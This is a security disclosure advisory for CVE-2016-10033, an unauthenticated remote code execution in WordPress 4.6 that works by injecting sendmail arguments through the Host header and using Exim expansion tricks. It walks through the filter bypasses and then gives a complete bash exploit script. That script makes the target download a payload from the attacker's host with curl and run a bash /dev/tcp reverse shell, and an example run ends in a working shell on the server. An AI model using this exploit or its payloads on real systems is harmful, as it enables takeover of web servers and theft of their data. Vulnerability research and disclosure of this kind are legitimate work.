WordPress (core) 4.6 suffers from an unauthenticated remote code execution condition via an exploitable version of PHPMailer built-in to WordPress code. Exploitation details provided.
7548237ea4bc029d486f673e64741747
====================================================
- Discovered by: Dawid Golunski (@dawid_golunski)
- dawid[at]legalhackers.com
- https://legalhackers.com
- ExploitBox.io (@Exploit_Box)
- CVE-2016-10033
- Release date: 03.05.2017
- Revision 2.0
- Last update: 04.05.2017
- Severity: Critical
====================================================
I. VULNERABILITY
-------------------------
WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit
(default configuration, no plugins, no auth)
II. BACKGROUND
-------------------------
"WordPress is a free and open-source content management system
(CMS) based on PHP and MySQL.
WordPress was used by more than 27.5% of the top 10 million
websites as of February 2017. WordPress is reportedly the
most popular website management or blogging system in
use on the Web, supporting more than 60 million websites."
https://en.wikipedia.org/wiki/WordPress
III. INTRODUCTION
-------------------------
This advisory reveals details of exploitation of the PHPMailer
vulnerability (CVE-2016-10033) in WordPress Core which (contrary to what
was believed and announced by WordPress security team) was affected by the
vulnerability.
The Remote Code Execution attack could be used by unauthenticated remote attackers
to gain instant access to the target server on which a vulnerable WordPress
core version was installed in its default configuration which could lead
to a full compromise of the target application server.
No plugins or non-standard settings are required to exploit the vulnerability.
This advisory reveals new exploitation vectors for PHP mail()
function discovered by the author that allow to exploit the vulnerability on a
most popular MTA (Mail Transfer Agent) - Exim which can be found installed by
default on many system such as Debian or Ubuntu, as opposed to rarely used
Sendmail MTA that has been thought to be a requirement for mail() injection
attacks to date.
Due to critical severity of this vulnerability, disclosure of new
exploitation vectors that increase the range of this type of attacks, and the ease
of mass exploitation, the release of this advisory was delayed by an
extended period of time to allow WordPress and other potentially affected
software vendors enough time to update affected mail libraries.
IV. DESCRIPTION
-------------------------
The following snippet of code from WordPress 4.6 - file wp-includes/pluggable.php:
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename;
}
/**
* Filters the name to associate with the "from" email address.
*
* @since 2.3.0
*
* @param string $from_name Name associated with the "from" email address.
*/
$from_name = apply_filters( 'wp_mail_from_name', $from_name );
$phpmailer->setFrom( $from_email, $from_name );
shows that WordPress sets the email domain based on SERVER_NAME server
header when WordPress wp_mail() function is called to send an email (e.g. upon
user registration, forgotten password etc.).
As we can see the from address is formed as follows:
$from_email = 'wordpress@' . $sitename;
It is then filtered and passed to a vulnerable setFrom() function of PHPMailer which
was explained in detail in the previous advisories:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
Injection
==============
SERVER_NAME server header can be manipulated on default configurations of Apache
Web server (most common WordPress deployment) via HOST header of a HTTP request.
To illustrate, here is a request and response of a simple php script vars.php that
simply prints out relevant parts of server headers ($_SERVER PHP array):
GET /vars.php HTTP/1.1
Host: xenialINJECTION
HTTP/1.1 200 OK
Server: Apache
Array
(
[HTTP_HOST] => xenialINJECTION
[SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu)
[SERVER_NAME] => xenialinjection
...
As we can see, INJECTION string appended to the hostname in HOST header gets
copied to both HTTP_HOST and SERVER_NAME PHP variables.
Using this HOST header example, if an attacker triggered wp_mail() function
by using the forgotten password WordPress feature, the HTTP request would be similar to:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
user_login=admin&redirect_to=&wp-submit=Get+New+Password
and would result in the following parameters passed to /usr/sbin/sendmail :
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenialinject]
What is interesting here is the 3rd parameter. The domain part of the email
matches the HOST header of the request, except for lower-case "inject".
Bypassing the filters
=======================
To exploit the PHPMailer's mail() injection vulnerability, an attacker would
have to be able to append parameters to the domain part.
However, the filtration/validation in
place (both on the wordpress side as well as PHPMailer library side) would
prevent the attacker from injecting white-characters (such as space
or TAB) and therefore from injecting parameters to sendmail binary.
For example, if attacker modified the HOST header to the following:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT SPACE
the validation would result in invalid domain part error and WordPress
application would exit with http response of:
HTTP/1.0 500 Internal Server Error
In which case wp_mail() and therefore the vulnerable PHPMailer
functions would never be reached (sendmail binary would not be executed).
The validateAddress() function of PHPMailer library as well as PHP's
filter_var/FILTER_VALIDATE_EMAIL are both complient with RFC 822 standard
as we can read at:
http://php.net/manual/en/filter.filters.validate.php
which prohibits spaces in the domain part and thus prevents injection
of additional parameters to /usr/sbin/sendmail.
It should be noted that the technique of injecting additional \ backslash
characters to the username part of the email presented in PHPMailer advisory:
http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
would not be an option for the attacker as username part of the from
address cannot be controlled in this case.
RFC 822 and comment syntax
--------------
Looking at the RFC 822 specs however, a potential way to bypass the validation
was found. According to:
https://www.ietf.org/rfc/rfc822.txt
email addresses can contain comments:
"
3.4.3. COMMENTS
A comment is a set of ASCII characters, which is enclosed in
matching parentheses and which is not within a quoted-string
The comment construct permits message originators to add text
which will be useful for human readers, but which will be
ignored by the formal semantics. Comments should be retained
while the message is subject to interpretation according to
this standard. However, comments must NOT be included in
other cases, such as during protocol exchanges with mail
servers.
"
The document gives an email example of with comments in brackets:
":sysmail"@ Some-Group. Some-Org,
Muhammed.(I am the greatest) Ali @(the)Vegas.WBA
as a valid email.
A simplified comment example within the domain part would be:
[email protected](comment)
After further testing, it turned out that comment part can contain spaces
in the domain part, and could be used as a way to bypass the
validation of the domain part and inject additional parameters to
sendmail binary.
Injecting parameters via comment syntax
----------------
The following request with the HOST header set to:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 injected tmp2)
will not cause errors and will result in the following parameters supplied to
sendmail :
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [injected]
Arg no. 5 == [tmp2)]
As we can see, We have managed to bypass filters/validation provided by
Wordpress filter:
apply_filters( 'wp_mail_from_name', $from_name );
As well as PHPMailer's internal setFrom() validation.
We now have control over the 4th parameter ('injected') and can inject
more parameters inbeetwen arg no.3 and no.5 if necessary.
In theory we should now be able to inject additional parameters to
/usr/sbin/sendmail wrapper to achieve arbitrary code execution.
Code Execution via Sendmail MTA
=================================
To date, the only known way of achieving remote code execution via
PHP mail() exploitation relied on Sendmail MTA being present on the
target system.
The most common Sendmail MTA vector is similar to:
-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php
It typically writes out a log file with a php backdoor contained within the
input message.
There are 2 problems with this technique however:
1)
Sendmail MTA is not commonly used anymore as we can verify by looking
at the statistics at:
http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html
which show that Sendmail is the least popular among Linux MTAs.
It does not ship with any modern Linux distribution and it is not
very likely for it to be found installed on a target.
2)
The Sendmail technique presented above would not work in the case
of the WordPress vulnerability discussed in this advisory.
As previously mentioned, hostname copied to SERVER_NAME server
variable gets converted into lower-case and therefore injecting
Sendmail parameters in a request similar to:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -O -X tmp2)
would result in the follwing set of sendmail arguments:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-o]
Arg no. 5 == [-x]
Arg no. 6 == [tmp2)]
Sendmail would fail with an error as arguments are case-sensitive
and neither -q nor -x would work.
Code execution via Exim4 MTA
=================================
While researching the other vulnerabilities in email sending
libraries (see previously published advisories for PHPMailer, ZendMail,
Swiftmailer), the author of this advisory discovered a new way to
achieve command execution with the help of Exim MTA that was
previously thought to be immune to mail() injection attacks.
This technique has been documented in the white-paper :
"Pwning PHP mail() function For Fun And Remote Code Execution"
The ability to execute commands through Exim4 MTA opens up many
possibilities in regards to exploitation not only of already disclosed
vulnerabilities in PHPMailer and other email libraries, but also in
regards to mail() function exploitation in general as Exim4 is the
most popular MTA available by default on popular Linux distributions
such as Debian.
The survey confirms the popularity of exim:
http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html
This increases the chances of it being present on the remote target
and is ideal for a reliable proof of concept exploit of the vulnerability
presented in this advisory.
Direct code execution with Exim4 MTA
--------------------------------
The discovered Exim MTA vector, in its most basic form works
in the following way:
sendmail -be '${run{/bin/true}{true}{false}}'
true
The -be switch enables string expansion testing mode.
The above expansion executes /bin/true and returns the value from
the brackets based on the exit code.
Similarly, the expansion:
sendmail -be '${run{/bin/bash -c "id"}{yes}{no}}'
would execute id command.
Note: on systems with Exim4, /usr/sbin/sendmail is just a symlink:
/usr/sbin/sendmail -> exim4
and has nothing to do with Sendmail MTA.
Sendmail MTA is not required to be present on the system for the
technique to work.
What is very powerful about this vector is that command
execution can be achieved in a reliable way directly through the
$run expansion specified as an argument and does not require
writing files to /var/www/html or guessing directory paths
which is the case in already known Sendmail MTA vector.
HOST header restrictions
----------------------------------
The seemingly simple Exim4 vector turned out to be tricky in practice
since the presented above expansion string would not work within HOST header.
A HTTP request similar to:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 slash/ -X tmp2)
would be rejected by Apache webserver due to / (slash) character
present within the HOST header.
The $run function would not
work without it as it requires a full path to the binary that is being
executed (suggesting that exim4 uses exec() to run it and does
not execute commands through system() ).
Bypassing restrictions
==============================
To bypass restriction of the HOST header several methods
were attempted by studying available Exim expansion strings at:
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html
Embeded perl
----------------------
One of the expansions that was considered was:
${perl{foo}{argument1}{argument2} ... }
however perl is not enabled by default on Exim and therefore
would not make the exploit reliable.
Encoding
---------------------
The family of base64 and HEX encoding/decoding functions were tested
but they did not seem to be supported by exim4 used for testing and
would result in errors such as:
sendmail -be '${base64d:QUI=}'
Failed: unknown expansion operator "base64d"
Substrings & Environment variables
---------------------
Another idea was to use known environment variables in combination
with substrings to extract forbidden slash character.
For example, the PATH environment variable contains slash:
PATH=/bin:/usr/bin
and therefore was a good candidate.
${env{PATH}} could be used to retrieve the variable and when
connected with $substring expansion, slash could be obtained
as can be seen in the following command:
sendmail -be '${substr{0}{1}{${env{PATH}}}}'
/
Unfortunately, this technique led to a dead-end as environment
variables such as PATH when inserted within HOST header would
be converted to lower-case and thus not work under Linux.
Substrings & internal exim4 variables
--------------------------------------
With trial and error, the following variable was found to work
as expected:
sendmail -be '${spool_directory}'
/var/spool/exim4
The spool_directory variable is present by default, and does
not have capital letters and therefore would work reliably.
The slash character could now be replaced with:
${substr{0}{1}{$spool_directory}}
to bypass the slash restriction of the HOST header.
The following expansion:
sendmail -be '${run{/usr/bin/touch /tmp/test}}'
Could now be converted to:
sendmail -be '${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}'
This worked fine under terminal however when tested within a HTTP request:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
it would result in the following sendmail parameters:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch]
Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 7 == [tmp2)]
As we can see, the expansion payload got broken into 2 arguments 5 & 6
instead of one.
This prevented Exim from executing the payload properly.
The problem was caused by spaces between command parameters (e.g. space after
'touch')
Replacing spaces
------------------
First the environment variable IFS was considered, however
environment variables would not work properly as previously tested.
After further research a convenient internal exim variable was found:
sendmail -be '${tod_log}'
2016-01-02 23:49:42
the tod_log variable returns current date in format that contains a space.
Similar to the slash replacement, $substring + $tod_log variable could
be used to replace the space as was tested with:
sendmail -be '${substr{10}{1}{$tod_log}}'
PoC HTTP request / minimal PoC exploit
====================================
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
The above request when sent to WordPress core application would cause exim
to be called with the following arguments:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 6 == [tmp2)]
which would execute:
/usr/bin/touch /tmp/test
on the target and create a file /tmp/test as tested on WordPress 4.6.
Using this payload logic a working exploit was built which executes
a reverse shell on the target.
V. PROOF OF CONCEPT EXPLOIT CODE
-------------------------
#!/bin/bash
#
# __ __ __ __ __
# / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
# / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
# / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
# /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
# /____/
#
#
# WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit
# CVE-2016-10033
#
# wordpress-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by
#
# Dawid Golunski (@dawid_golunski)
# https://legalhackers.com
#
# ExploitBox project:
# https://ExploitBox.io
#
# Full advisory URL:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
#
# Exploit src URL:
# https://exploitbox.io/exploit/wordpress-rce-exploit.sh
#
#
# Tested on WordPress 4.6:
# https://github.com/WordPress/WordPress/archive/4.6.zip
#
# Usage:
# ./wordpress-rce-exploit.sh target-wordpress-url
#
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulns/exploitation?
#
#
# .;lc'
# .,cdkkOOOko;.
# .,lxxkkkkOOOO000Ol'
# .':oxxxxxkkkkOOOO0000KK0x:'
# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
# '';ldxxxxxdc,. ,oOXXXNNNXd;,.
# .ddc;,,:c;. ,c: .cxxc:;:ox:
# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
# .dxxxxxdl;. ., .. .;cdxxxxxx:
# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
# .':oxxxxxxxxx.ckkkkkkkkxl,.
# .,cdxxxxx.ckkkkkxc.
# .':odx.ckxl,.
# .,.'.
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------
rev_host="192.168.57.1"
function prep_host_header() {
cmd="$1"
rce_cmd="\${run{$cmd}}";
# replace / with ${substr{0}{1}{$spool_directory}}
#sed 's^/^${substr{0}{1}{$spool_directory}}^g'
rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
# replace ' ' (space) with
#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
#return "target(any -froot@localhost -be $rce_cmd null)"
host_header="target(any -froot@localhost -be $rce_cmd null)"
return 0
}
#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro" | base64 -d
echo "$intro2" | base64 -d
if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"
# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -vv -l 1337
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0
fi
echo "Exiting..."
exit 0
Video PoC
~~~~~~~~~~~
https://www.youtube.com/watch?v=ZFt_S5pQPX0
Example run
~~~~~~~~~~~~~~
# ./wordpress-rce-exploit.sh http://wp-host/wordpress/
.;lc'
.,cdkkOOOko;.
_______ ., ________ ________ _______
\ ___/_ ____ '___\ /_____\ _______\_ _/_
/ _/ \\ \/ / __/ // | \_____// \
/_________>> < __/ / /-\ ____ / \ _______/
<___/\___> /________/ /_______>
.ddc;,,:c;. ,c: .cxxc:;:ox:
.dxxxxo, ., ,kMMM0:. ., .lxxxxx:
.dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
.dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
.dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
.dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
.dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
.dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
.dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
.dxxxxxdl;. ., .. .;cdxxxxxx:
.dxxxx ________ ____ _____ xxxxx:
.':ox \ /_ ________\ \/ / xxc,.
. / / \\ > < x,
/ / | / /\ \
\_________<_______<____> \____>
.':odx.ckxl,.
.,.'.
| ExploitBox.io |
+ --=| Wordpress Core - Unauthenticated RCE Exploit |
+ --=| |
+ --=| Discovered & Coded By |
+ --=| Dawid Golunski |
+ --=| https://legalhackers.com |
+ --=| |
+ --=| "With Great Power Comes Great Responsibility" |
+ --=| * For testing purposes only * |
[*] Sure you want to get a shell on the target 'http://wp-host/wordpress/' ? [y/N] y
[*] Guess I can't argue with that... Let's get started...
[+] Connected to the target
[+] Payload sent successfully
[+] Payload executed!
[*] Waiting for the target to send us a reverse shell...
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.57.3] port 1337 [tcp/*] accepted (family 2, sport 39232)
bash: cannot set terminal process group (10408): Inappropriate ioctl for device
bash: no job control in this shell
www-data@xenial:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@xenial:/$ exit
exit
exit
Exiting...
VI. BUSINESS IMPACT
-------------------------
Upon a successfull exploitation, a remote unauthenticated attacker
would be able to execute arbitrary code on the target server and compromise
the target application.
VII. SYSTEMS AFFECTED
-------------------------
The Remote Code Execution PoC exploit described in this advisory is based
on version 4.6 although other versions of WordPress (prior to 4.7.1 which
fixed the PHPMailer vulnerability) might also be affected.
The advisory presents the exploitation on the example of Exim MTA,
the author has also developed another exploit that can also be used on
other MTA software. The exploit will be shared shortly after this advisory.
VIII. SOLUTION
-------------------------
Update to the latest version of WordPress.
IX. REFERENCES
-------------------------
https://legalhackers.com
https://ExploitBox.io
Vulnerable WordPress version used for testing/exploitation:
https://github.com/WordPress/WordPress/archive/4.6.zip
Exploit code:
WordPress Core 4.6 - Unauth Remote Code Execution PoC Exploit
Video PoC:
https://www.youtube.com/watch?v=ZFt_S5pQPX0
WordPress security team announcement:
https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
Vendor site:
https://wordpress.org
Related advisories:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
X. CREDITS
-------------------------
The vulnerabilities and exim mail() injection vector presented in this advisory
were discovered by :
Dawid Golunski
dawid (at) legalhackers (dot) com
https://legalhackers.com
ExploitBox.io (@Exploit_Box)
XI. REVISION HISTORY
-------------------------
03.05.2017 - Advisory released, rev. 1
04.05.2017 - Revision 2. Updated introduction to help separate different issues.
XII. EXPLOITBOX - A PLAYGROUND FOR HACKERS
-------------------------
ExploitBox.io is coming soon.
Subscribe at https://ExploitBox.io to stay updated and be there for the launch.
XIII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.